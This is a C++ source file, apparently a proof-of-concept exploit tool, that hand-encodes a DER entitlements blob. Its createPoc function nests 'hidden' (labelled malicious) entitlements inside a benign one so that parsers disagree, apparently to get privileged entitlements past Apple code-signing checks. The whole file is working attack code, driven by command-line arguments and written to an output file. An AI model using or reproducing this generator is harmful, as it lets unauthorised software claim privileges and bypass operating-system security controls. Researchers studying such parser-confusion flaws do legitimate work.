#include <stdio.h>
|
#include <string.h>
|
#include <stdint.h>
|
#include <string.h>
|
#include <string>
|
#include <vector>
|
#include <map>
|
|
using namespace std;
|
|
class Der {
|
public:
|
Der(unsigned char type) {
|
this->type = type;
|
}
|
|
unsigned char type;
|
vector<unsigned char> content;
|
vector<Der *> children;
|
bool hidden;
|
|
size_t getLenLen() {
|
size_t content_size = getContentLen();
|
if(content_size < 0x80) return 1;
|
else if(content_size < 0x100) return 2;
|
else if(content_size < 0x10000) return 3;
|
else if(content_size < 0x1000000) return 4;
|
else {
|
printf("Length error");
|
return 0;
|
}
|
}
|
|
unsigned char *encodeLen(unsigned char *buf) {
|
size_t content_size = getContentLen();
|
if(content_size < 0x80) {
|
*buf = (unsigned char)content_size; buf++;
|
} else if(content_size < 0x100) {
|
*buf = 0x81; buf++;
|
*buf = (unsigned char)content_size; buf++;
|
} else if(content_size < 0x10000) {
|
*buf = 0x82; buf++;
|
*buf = (unsigned char)((content_size & 0xFF00) >> 8); buf++;
|
*buf = (unsigned char)(content_size & 0xFF); buf++;
|
} else if(content_size < 0x1000000) {
|
*buf = 0x83; buf++;
|
*buf = (unsigned char)((content_size & 0xFF0000) >> 16); buf++;
|
*buf = (unsigned char)((content_size & 0xFF00) >> 8); buf++;
|
*buf = (unsigned char)(content_size & 0xFF); buf++;
|
}
|
return buf;
|
}
|
|
size_t getContentLen() {
|
size_t content_len = content.size();
|
if(!content_len) {
|
for(auto iter = children.begin(); iter != children.end(); iter++) {
|
Der *child = *iter;
|
content_len += child->getTotalLen();
|
}
|
}
|
return content_len;
|
}
|
|
size_t getTotalLen() {
|
size_t len = getContentLen();
|
len += getLenLen();
|
len += 1;
|
return len;
|
}
|
|
unsigned char *encode(unsigned char *buf) {
|
*buf = type; buf++;
|
buf = encodeLen(buf);
|
if(!content.empty()) {
|
memcpy(buf, content.data(), content.size());
|
buf += content.size();
|
} else {
|
for(auto iter = children.begin(); iter != children.end(); iter++) {
|
Der *child = *iter;
|
buf = child->encode(buf);
|
}
|
}
|
return buf;
|
}
|
|
void write(char *filename){
|
size_t len = getTotalLen();
|
unsigned char *buf = (unsigned char *)malloc(len);
|
encode(buf);
|
|
FILE *fp = fopen(filename, "wb");
|
if(!fp) {
|
printf("Error writing file\n");
|
return;
|
}
|
fwrite(buf, 1, len, fp);
|
fclose(fp);
|
}
|
};
|
|
Der *createDer(unsigned char type) {
|
Der *der = new Der(type);
|
return der;
|
}
|
|
Der *createNumber(uint32_t number) {
|
if(number > 0xFF) {
|
printf("Unsupported\n");
|
}
|
|
Der *der = new Der(0x02);
|
der->content.push_back((unsigned char)number);
|
return der;
|
}
|
|
Der *createBool(bool value) {
|
Der *der = new Der(0x01);
|
if(value) {
|
der->content.push_back(0xFF);
|
} else {
|
der->content.push_back(0);
|
}
|
return der;
|
}
|
|
Der *createString(const char *str) {
|
Der *der = new Der(0x0c);
|
size_t len = strlen(str);
|
der->content.resize(len);
|
memcpy(der->content.data(), str, len);
|
return der;
|
}
|
|
Der *createPair(Der *first, Der *second) {
|
Der *der = new Der(0x30);
|
der->children.push_back(first);
|
der->children.push_back(second);
|
return der;
|
}
|
|
Der *createValue(char *value) {
|
if(!value) {
|
return createBool(true);
|
} else if (strcmp(value, "true") == 0) {
|
return createBool(true);
|
} else if (strcmp(value, "false") == 0) {
|
return createBool(false);
|
} else {
|
return createString(value);
|
}
|
}
|
|
Der* createPoc(map<string, Der *> *entitlements) {
|
if(entitlements->empty()) {
|
printf("Entitlements can't be empty\n");
|
return NULL;
|
}
|
|
Der *wrapper1 = createDer(0xb0);
|
Der *wrapper2 = createDer(0x70);
|
wrapper2->children.push_back(createNumber(1));
|
wrapper2->children.push_back(wrapper1);
|
|
Der *benign = NULL, *malicious = NULL;
|
|
for(auto iter = entitlements->begin(); iter != entitlements->end(); iter++) {
|
if(iter->second->hidden) {
|
if(!benign) {
|
printf("First entitlement in alphabetical order can't be hidden\n");
|
printf("Consider adding com.apple.application-identifier(macOS) or application-identifier(iOS)\n");
|
return NULL;
|
}
|
malicious = createPair(createString(iter->first.c_str()), iter->second);
|
benign->children.push_back(malicious);
|
} else {
|
benign = createPair(createString(iter->first.c_str()), iter->second);
|
wrapper1->children.push_back(benign);
|
}
|
}
|
|
return wrapper2;
|
}
|
|
int main(int argc, char** argv) {
|
if(argc < 3) {
|
printf("Usage: %s <entitlements> -- <hidden entitlements>\n", argv[0]);
|
printf("Entitlements are provided as key=value pairs\n");
|
printf("Just specifying a key implies the value of 'true'\n");
|
return 1;
|
}
|
|
map<string, Der *> entitlements;
|
|
bool hidden = false;
|
for(int i = 2; i < argc; i++) {
|
if(strcmp(argv[i], "--") == 0) {
|
hidden = true;
|
continue;
|
}
|
|
// extract name and value
|
string name;
|
char *value = strchr(argv[i], '=');
|
if(value) {
|
name = string(argv[i], value);
|
value++;
|
} else {
|
name = argv[i];
|
}
|
|
Der *der_value = createValue(value);
|
der_value->hidden = hidden;
|
|
entitlements[name] = der_value;
|
}
|
|
Der *der = createPoc(&entitlements);
|
if(der) der->write(argv[1]);
|
return 0;
|
}
|
|
|